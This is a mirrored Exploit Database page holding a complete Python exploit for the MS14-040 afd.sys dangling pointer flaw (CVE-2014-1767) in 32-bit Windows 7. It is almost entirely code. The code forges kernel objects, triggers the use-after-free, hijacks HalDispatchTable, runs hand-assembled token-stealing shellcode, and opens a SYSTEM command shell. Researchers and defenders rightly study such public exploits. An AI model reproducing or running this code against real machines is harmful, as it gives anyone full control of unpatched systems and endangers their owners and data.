Microsoft Windows 7 (x86) – ‘afd.sys’ Dangling Pointer Privilege Escalation (MS14-040)

• Exploit Database
• 110 阅读

• 作者： Rick Larabee
  日期： 2016-02-15
• 类别：

  • local
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/39446/
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  # Exploit Title: MS14-040 - AFD.SYS Dangling Pointer # Date: 2016-02-05 # Exploit Author: Rick Larabee # Vendor Homepage: www.microsoft.com # Version: Windows 7, 32 bit # Tested on: Win7 x32 # afd.sys - 6.1.7600.16385 #ntdll.dll - 6.1.7600.16385 # # CVE : CVE-2014-1767 # Category: Local Privilege Escalation # References: # http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf # http://ricklarabee.blogspot.com/ # https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ # https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # http://www.cvedetails.com/cve/CVE-2014-1767/ # # Greetz: PWN4GEPWN1E, SecurityMook       from ctypes import * import socket, time, os, struct, sys from ctypes.wintypes import HANDLE, DWORD   kernel32 = windll.kernel32 ntdll= windll.ntdll Psapi= windll.Psapi   MEMRES = (0x1000 | 0x2000) PAGEEXE= 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written= c_int(0)   FakeObjSize = 0xA0   GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 INVALID_HANDLE_VALUE = -1   WSAGetLastError= windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype= c_int SOCKET = c_int WSASocket= windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype= SOCKET closesocket= windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype= c_int connect= windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype= c_int   class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ]   def findSysBase(drvname=None): ARRAY_SIZE= 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb= c_int(1024) lpcbNeeded= c_long() drivername_size = c_long() drivername_size.value = 48   Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None     def CreateBuffer1(): inbuf1size = 0x30 virtualAddress = 0x18888888 length = 0x20000 inbuf1= "\x00" * 0x18 + struct.pack("L", virtualAddress)#0x1a inbuf1 += struct.pack("L", length)#0x20 inbuf1 += "\x00" * 0x8 + "\x01" inbuf1 += "\x00" * (inbuf1size - len(inbuf1)) baseadd= c_int(0x1001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))     def CreateBuffer2(): inbuf2size = 0x10 addrforbuf2 = 0x0AAAAAAA inbuf2 = "\x01\x00\x00\x00" inbuf2 += struct.pack("L", addrforbuf2) inbuf2 += "\x00" * (inbuf2size -len(inbuf2)) baseadd= c_int(0x2001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))   def CreateFakeObject(): print "[+] Print creating fakeobject" fakeobject2addr = 0x2200 fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C) fakeobj2size = len(fakeobject2) kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))   objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x16\x00\x08\x00" "\x00\x00\x00\x00\x00\x00\x00\x00")     fakeobject = objhead fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4) fakeobject += "\x41" * (FakeObjSize - len(fakeobject)) kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written)) print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)   if sock == -1: print "[-] no luck creating socket!" sys.exit(1)   print "[+] got sock 0x%x" % sock   addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001)   connect(sock, byref(addr), sizeof(addr))   print "[+] sock connected." print "\n[+] GO!"   (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("halmacpi.dll") OS = "7" if OS == "7": HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7 _KPROCESS = "\x50" _TOKEN= "\xf8" _UPID = "\xb4" _APLINKS= "\xb8"   print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)   IoStatus = c_ulong() IoStatusBlock = c_ulong()   CreateBuffer1() CreateBuffer2() CreateFakeObject()   inbuf1 = 0x1000 inbuf2 = 0x2000 hWF = HANDLE(0) FakeWorkerFactoryADDR = 0x2100     # Trigger 1 # afd!afdTransmitFile ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)   CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))   ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0) hWFaddr = hWF print "[+] WorkerFactoryHandle:", hWF.value hWFaddr = int(addressof(hWF))   shellcode_address = 0x00020700 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4   _WFValue = struct.pack("L", hWFaddr)   sc_pointer = struct.pack("L", shellcode_address+0x4) restore_ptrs ="\x31\xc0" + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing ="\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00"   fixobjheaders = "\x33\xC0"+\ "\x64\x8B\x80\x24\x01\x00\x00"+\ "\x8B\x40\x50"+\ "\x8B\x80\xF4\x00\x00\x00"+\ "\x8B\xD8"+\ "\x8B\x00"+\ "\x8B\x0D" + _WFValue+\ "\x83\xE1\xFC"+\ "\x03\xC9"+\ "\x03\xC1"+\ "\xC7\x00\x00\x00\x00\x00"+\ "\x83\xC3\x30"+\ "\x8B\xC3"+\ "\x8B\x1B"+\ "\x83\xEB\x01"+\ "\x89\x18"+\ "\x5B"+\ "\x5A"+\ "\xC2\x10\x00"   shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders shellcode_size= len(shellcode) orig_size = shellcode_size startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))     ### Trigger 2 ## afd!AfdTransmitPackets ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)   ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)   ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;   inp= c_ulong() out= c_ulong() inp= 0x1337 qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /K cd c:\\windows\\system32")